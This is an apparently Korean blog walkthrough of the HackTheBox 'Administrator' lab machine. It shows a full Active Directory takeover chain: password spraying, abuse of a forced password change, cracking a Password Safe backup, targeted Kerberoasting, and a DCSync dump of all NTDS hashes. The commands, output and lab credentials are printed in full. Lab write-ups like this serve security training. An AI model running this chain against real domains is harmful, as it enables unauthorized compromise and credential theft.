이 박스는 Active Directory에서 발생할 수 있는 DACL을 악용하여 공격자가 초기 침투에 성공했을 때 어떤 루트를 사용하여 도메인을 장악할 수 있는지 보여줍니다.
HTB의 다른 Medeum 머신에 비해서 쉬운 편은 없지 않아 많지만,
그래도 초심자들이 생소할 수 있는 DACL에 대해서 잘 다루고 있다고 생각하며
머신 안에서 한 두가지에서 그치는 것이 아니라 다양한 공격 벡터와
창의성이 요구되기 때문에 추천하는 머신입니다.
Olivia : ichliebedich
서버에 열려있는 포트는 다음과 같습니다.
21/tcp open ftp
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
47001/tcp open winrm
49664/tcp open unknown
이 머신은 이미 침해당했다고 가정하고, 유효한 사용자 Olivia 계정을
지급해줍니다.
따라서 우리가 사용 가능한 최대한의 공격 방법론을 사용하여
Olivia의 낮은 도메인 권한 사용자에서 도메인 장악을 합니다.
저는 스캔된 포트 중에서 순차적으로 진행하는 것을 선호하기 때문에
스캔된 포트 순서에 맞게 방법론을 사용해보겠습니다.
FTP에는 현재 익명 바인딩은 허용되어 있지 않습니다.
다만 Olivia 계정 정보가 존재하므로 이 계정의 정보를 이용해서
FTP 서비스에 어떤 파일이 있는지 살펴봅니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:root): olivia
331 Password required
Password:
530 User cannot log in, home directory inaccessible.
ftp: Login failed
하지만 Olivia 계정으로는 FTP 서버에 접근할 권한이 없다고 하네요
별다른 소득은 없었습니다.
dig를 통해 DNS 스캐닝을 하면서 다른 도메인이 있는지 검색합니다.
또한 zone 구역에 신호를 보내서 접근이 가능한지 테스트 해봅니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# dig @10.10.11.42 administrator.htb
...
;administrator.htb. IN A
...
administrator.htb. 600 IN A 10.10.11.42
...
┌──(root㉿kali)-[~/Pentest/Machine]
└─# dig axfr @10.10.11.42 administrator.htb
; <<>> DiG 9.20.0-Debian <<>> axfr @10.10.11.42 administrator.htb
; (1 server found)
;; global options: +cmd
; Transfer failed.
nmap 포트 스캔에서 발견했던 administrator.htb 외에는
다른 도메인은 발견되지 않았고 zone 역시 접근 불가능했습니다.
88번 포트인 Kerberos는 유저 목록이 있어야 공격 가능하기 때문에
먼저 SMB를 통해서 유저 목록을 수집해줍니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec smb 10.10.11.42 -u olivia -p ichliebedich --users
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\olivia:ichliebedich
SMB 10.10.11.42 445 DC [+] Enumerated domain user(s)
SMB 10.10.11.42 445 DC administrator.htb\emma badpwdcount: 2 desc:
SMB 10.10.11.42 445 DC administrator.htb\alexander badpwdcount: 4 desc:
SMB 10.10.11.42 445 DC administrator.htb\ethan badpwdcount: 2 desc:
SMB 10.10.11.42 445 DC administrator.htb\emily badpwdcount: 0 desc:
SMB 10.10.11.42 445 DC administrator.htb\benjamin badpwdcount: 0 desc:
SMB 10.10.11.42 445 DC administrator.htb\michael badpwdcount: 0 desc:
SMB 10.10.11.42 445 DC administrator.htb\olivia badpwdcount: 0 desc:
SMB 10.10.11.42 445 DC administrator.htb\krbtgt badpwdcount: 2 desc: Key Distribution Center Service Account
SMB 10.10.11.42 445 DC administrator.htb\Guest badpwdcount: 1 desc: Built-in account for guest access to the computer/domain
SMB 10.10.11.42 445 DC administrator.htb\Administrator badpwdcount: 2 desc: Built-in account for administering the computer/domain
crackmapexec를 사용해서 SMB 접속을 통한 도메인 유저 목록을 가져옵니다.
유저 목록을 확인했으니 SMB 포트에서 할 수 있는 것은
패스워드 스프레이 공격과 쉐어 목록 확인입니다.
패스워드를 공백으로 주고 Password must change 계정이 있는지와
아이디:패스워드를 동일하게 주고 스프레이 공격을 해봤는데
아이디:패스워드가 동일한 계정인 michael 계정이 발견되었습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec smb 10.10.11.42 -u DomainUsers.txt -p DomainUsers.txt --continue-on-success --no-bruteforce
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [-] administrator.htb\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.10.11.42 445 DC [-] administrator.htb\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.11.42 445 DC [-] administrator.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.10.11.42 445 DC [-] administrator.htb\olivia:olivia STATUS_LOGON_FAILURE
SMB 10.10.11.42 445 DC [+] administrator.htb\michael:michael
SMB 10.10.11.42 445 DC [-] administrator.htb\benjamin:benjamin STATUS_LOGON_FAILURE
SMB 10.10.11.42 445 DC [-] administrator.htb\emily:emily STATUS_LOGON_FAILURE
SMB 10.10.11.42 445 DC [-] administrator.htb\ethan:ethan STATUS_LOGON_FAILURE
SMB 10.10.11.42 445 DC [-] administrator.htb\alexander:alexander STATUS_LOGON_FAILURE
SMB 10.10.11.42 445 DC [-] administrator.htb\emma:emma STATUS_LOGON_FAILURE
그리고 쉐어 목록에서는 별다른 쉐어는 발견되지 않았습니다.
SMB를 통해서 유저 목록을 확보했으니
커버로스 프로토콜에 대한 방법론도 적용을 해봐야겠죠.
olivia 계정으로 커버로스팅 가능한 SPN을 찾고,
AS-REP-Roasting 공격에 취약한 계정도 스캔을 합니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# impacket-GetNPUsers 10.10.11.42/'' -usersfile DomainUsers.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
...
[-] Kerberos SessionError: KDC_ERR_WRONG_REALM(Reserved for future use)
┌──(root㉿kali)-[~/Pentest/Machine]
└─# crackmapexec ldap 10.10.11.42 -u olivia -p ichliebedich --kerberoasting kerberoasing.txt
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.42 389 DC [+] administrator.htb\olivia:ichliebedich
LDAP 10.10.11.42 389 DC No entries found!
하지만 이 프로토콜에서 취약한 것은 발견되지 않았습니다.
계정 정보가 있으니 유효한 계정을 통한 LDAP 정보수집을 할 차례입니다.
ldapsearch -H ldap://10.10.11.42/ -b 'dc=administrator,dc=htb' -D 'olivia@administrator.htb' -w ichliebedich -s sub | grep -i pass
pass, pwd 등과 같은 텍스트를 그랩해보아도 발견되지는 않습니다.
이제 AD 권한 상승이 있는지 확인할 차례입니다.
Olivia 계정으로 SMB를 통해 도메인 계정 정보를 얻은 후
패스워드 스프레잉 공격으로 알아냈던 michael 계정은
benjamin 계정에 대해서 ForceChangePassword 권한이 있습니다.
이 권한이 있으면 benjamin 계정의 패스워드를 임의로 변경 가능합니다.
실무라면 해서는 안 되겠지만 CTF니 마음 편하게 변경을 해줍니다.
변경 방법으로는 여러가지가 있지만
전 msrpc를 이용해서 변경해보도록 하겠습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# rpcclient -U michael 10.10.11.42
Password for [WORKGROUP\michael]:
rpcclient $> setuserinfo2 benjamin 23 password123!
rpcclient $> exit
┌──(root㉿kali)-[~/Pentest/Machine]
└─# nxc smb 10.10.11.42 -u benjamin -p password123!
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\benjamin:password123!
이로써 벤자인 계정의 패스워드를 password123!으로 변경했습니다.
벤자민 계정은 도메인 내의 Share Moderators 그룹에 속해있습니다.
아마도 파일 공유에 관한 관리자인 것으로 추측이 됩니다.
그러면 아까전에 접속이 불가능하던 FTP에 접속이 되지 않을까요?
┌──(root㉿kali)-[~/Pentest/Machine]
└─# ftp 10.10.11.42
Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:root): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||57560|)
125 Data connection already open; Transfer starting.
10-05-24 08:13AM 952 Backup.psafe3
FTP에 접속해서 Backup.psafe3이라는 파일을 획득할 수 있습니다.
psafe3은 password safe 파일로, keepassword와 같이
패스워드를 안전하게 보관할 수 있는 데이터베이스입니다.
kee password처럼 접속시 패스워드를 입력해야 하는데,
이 해쉬 값을 추출해서 크래킹할 수 있기 때문에 취약할 수 있죠
pwsafe2john을 사용해서 해쉬를 덤핑합니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# pwsafe2john Backup.psafe3
Backu:$pwsafe$*3*dd6ffff22106b2a3153d37fe6d67e591b61d6cf71c8eadefa690da0bfd8ebbc9*2048*e8fa9af0c8ebd3f4fa24ade2fa66f35d3261a0eaec901120c0d907485fb7b169
그리고 이제 이 값을 크래킹 해야겠죠
존더리퍼를 사용해줬습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho (Backu)
1g 0:00:00:00 DONE (2024-12-12 16:15) 1.694g/s 27769p/s 27769c/s 27769C/s 1GR8t@$$4u..cowgirlup
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
패스워드는 tekieromucho 으로 확인됩니다.
pwsafe 명령을 통해서 이 파일을 실행할 수 있습니다.
없으신 분들이라면 apt install로 설치 가능할거예요
보이는 곳을 더블 클릭시 자동으로 패스워드가 복사됩니다.
alexander : UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily : UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma : WwANQWnmJnGV07WQN8bMS7FMAbjNur
위처럼 세가지 계정정보를 획득했지만
실제로 유효한 계정은 emily 하나 뿐입니다.
Emily 계정은 Ethan 계정에 대해서 GenericWrite 권한이 있네요
이 권한을 사용자 계정에 가지고 있을 때는
Shadow Credential 공격과 Targeted Kerberoasting 공격이 됩니다.
근데 Shadow Credential 같은 경우는 대상 도메인에서
pkinit 인증을 사용해야지 가능한데, 해당 도메인에서는 지원하지 않아서
강제적으로 ethan 계정으로 SPN을 생성하고 서비스 티켓을 발급받아서
해쉬 크래킹을 해줘야 합니다.
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# python3 targetedKerberoast.py -v -d administrator.htb -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --request-user ethan --only-abuse
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$12485e772e661fe85c081d7afb39a073$8b22534fc327f5eca1acc0eb47ee41f428ac10333922be9cccfe0dbec4e286ab61b2f31555bc88e76b08faca67a3787c5d800bfeb5e61aaea69a2895a82bd1a21b75aceb854baac4b2aa062266473c3573d4339c247bca826b714f1f77cbfe6f7ff5ff69633ad48b6c5dc63020dd3ce4341b8a723381ed1150bdf967e7c6dda310ef43cd34fc58923a9d337751af7f25ba2cf648486c125bcc21af76d471748092899e2fd442010331f6124c135ad32b6b7444bbda3ea00bf34124987b3ea5bff7ea099697c8607ed2bea9454b86748ddbd8f66e916b441e3bf87830bbd1c6fad8ca9877935ec7c3dd6da1f79b608090702a8699720719e7fe71d16d959b90393d71db690b82d3806bdc84af3b5c6d6a2add8181c46277dcdde6c5dcf5e4cfa3210c5e2614e69f0142219cd964cc2c08c13e3c7cca832d79edab751dba31eee0101a380d4d3ac9d7cb105a16c1be73f6ad4d9dad21742faaed0b721466f1d5fa33c05f5daeda640f44ac58ef655befa6b1700832a483922585ad47b5dfa21a0e0b48c399a5efe156476b69036503ad1ad161c25ac9e6b2b9e9abc26adcbb95b7e6c2dbe86ed0d1483c5b9f90db59922fed264b47839428031fb9659404d45ad7a407fc5d075a6a4201e1b16586663dbaa8704eb8bd623ab9a5f23ac154c55b37de7b0ca094673429d461ebc66183d94f7c1e75c28ec5cff579edc22ba015b67ba635f5628db120b6d08b4ab4578b7ef551a1c4d103ecf741f3ab0c2164391828db04c01eefddfda3607e67b8ca0626ca8668119de50ce24bc02fdfd7fa1611dcab6be482d4a9d631b1360ccc4dc56b98513215240e5d6682a3b9a245156b32652d24689ad2385fb00db1fcd9d45261a02e720ba178fc5e132655be8d56577e768cd8e3e3320c66077b8d3ef4fe48e209c933e10aa66a26e968d7293f9c575dd0b7c412a21db112a6107c72de95f6912489428e435e5196a26f4d9fc2698b3b8c2b4798a9222f3792e6f755ee10059e5da81d1fc989e342cc8e88e9e82e6a1173936da3aed138e11bca063c4af12e7090d781e80293cb5088768fcf9960d23b7c968c5cc126b88ce934fb51de79bd30861e3fab26a451bcd1d4ecb2bde160974d1e480bd83a820a443e2da7650cf5b5e6c812525ebceb1998087b7dc13703324557eb8587f760129f0b05c9c1f1c5457d08483dd81498a2cda82f85c79c61ad99164b047db46c60c7d36b65874c92b61a8edd0bfbb2b12c62e1132c9a2cb373853e55a28a930ae82448102b4893d68c34fcffe4ab0581fcccacfd2bccd2967e9ff6dc273c0716de63c796f5cddda15e474884b64ff8ce6e364a09808d78a91fe4895b465e3c04e0dc8ec76724377c19feae74dd0e89cf22c478a07399e3eee880c99aa03d84878bfd9dbc570544e702ea02aa9692935e8ad0945d26f0f46e0a29ee56dbad92401b383524b9ff767f389b16d21b6d39ad8d65e03816d7e2904e05c08d4d4299aff21ac0cd02122bcbb0a14804fb757162f80a7f94e0e6807b66
[VERBOSE] SPN removed successfully for (ethan)
이렇게 ethan 계정의 해쉬값을 훔쳐내는데 성공합니다.
이제 이 패스워드가 해쉬 크래킹에 성공하기를 바라야죠
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit (?)
1g 0:00:00:00 DONE (2024-12-12 19:22) 14.28g/s 117028p/s 117028c/s 117028C/s oooooo..whitey
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
다행히 ethan의 패스워드는 rockyou.txt에 포함되어 있었습니다.
마지막으로 ethan은 도메인에 대해 DCSync 권한이 있기 때문에
이 권한을 이용해서 도메인의 모든 사용자 NT Hash를 덤핑해줍니다.
┌──(root㉿kali)-[~/Pentest/Scripts]
└─# crackmapexec smb 10.10.11.42 -u ethan -p limpbizkit --ntds
SMB 10.10.11.42 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.42 445 DC [+] administrator.htb\ethan:limpbizkit
SMB 10.10.11.42 445 DC [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB 10.10.11.42 445 DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.10.11.42 445 DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
SMB 10.10.11.42 445 DC Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.42 445 DC krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
SMB 10.10.11.42 445 DC administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
SMB 10.10.11.42 445 DC administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:bb53a477af18526ada697ce2e51f76b3:::
SMB 10.10.11.42 445 DC administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
SMB 10.10.11.42 445 DC administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
SMB 10.10.11.42 445 DC administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
SMB 10.10.11.42 445 DC administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
SMB 10.10.11.42 445 DC administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
SMB 10.10.11.42 445 DC DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
SMB 10.10.11.42 445 DC [+] Dumped 11 NTDS hashes to /root/.cme/logs/DC_10.10.11.42_2024-12-12_192330.ntds of which 10 were added to the database
핵더박스의 미디움 레벨 치고는.. 상당히 쉬운 편이라고 할 수 있네요
하지만 그럼에도 난이도를 위해서 억지로 사용되지도 않는
프로토콜이나 서비스를 끼워넣는 것보단.. 훨씬 의미가 있다 느껴집니다.
[HackTheBox] Resolute (2) | 2024.11.03 |
---|---|
[HackTheBox] Blackfield (1) | 2024.10.30 |
[HackTheBox] Search (1) | 2024.10.30 |
[HackTheBox] Active (0) | 2024.10.29 |
[HackTheBox] Sauna (1) | 2024.10.29 |